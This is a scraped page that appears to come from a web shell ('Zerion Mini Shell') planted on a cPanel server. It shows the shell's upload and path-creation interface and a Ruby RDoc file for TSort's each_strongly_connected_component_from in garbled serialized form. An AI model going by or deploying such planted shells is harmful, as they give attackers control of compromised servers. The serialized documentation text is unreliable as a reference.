%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-ruby24/root/usr/share/ri/system/TSort/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-ruby24/root/usr/share/ri/system/TSort/each_strongly_connected_component_from-i.ri

U:RDoc::AnyMethod[iI"+each_strongly_connected_component_from:EFI"1TSort#each_strongly_connected_component_from;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph;	[I"OIterates over strongly connected component in the subgraph reachable from ;TI"_node_.;To:RDoc::Markup::BlankLineo;
;	[I"!Return value is unspecified.;T@o;
;	[I"K#each_strongly_connected_component_from doesn't call #tsort_each_node.;T@o:RDoc::Markup::Verbatim;	[I"
class G
;TI"  include TSort
;TI"  def initialize(g)
;TI"    @g = g
;TI"  end
;TI"6  def tsort_each_child(n, &b) @g[n].each(&b) end
;TI"3  def tsort_each_node(&b) @g.each_key(&b) end
;TI"	end
;TI"
;TI":graph = G.new({1=>[2, 3], 2=>[4], 3=>[2, 4], 4=>[]})
;TI"Dgraph.each_strongly_connected_component_from(2) {|scc| p scc }
;TI"
#=> [4]
;TI"
#   [2]
;TI"
;TI"7graph = G.new({1=>[2], 2=>[3, 4], 3=>[2], 4=>[]})
;TI"Dgraph.each_strongly_connected_component_from(2) {|scc| p scc }
;TI"
#=> [4]
;TI"#   [2, 3];T:@format0:
@fileI"lib/tsort.rb;T:0@omit_headings_from_table_of_contents_below00I"
nodes;F[I" (node, id_map={}, stack=[]);T@*FI"
TSort;FcRDoc::NormalModule00

Zerion Mini Shell 1.0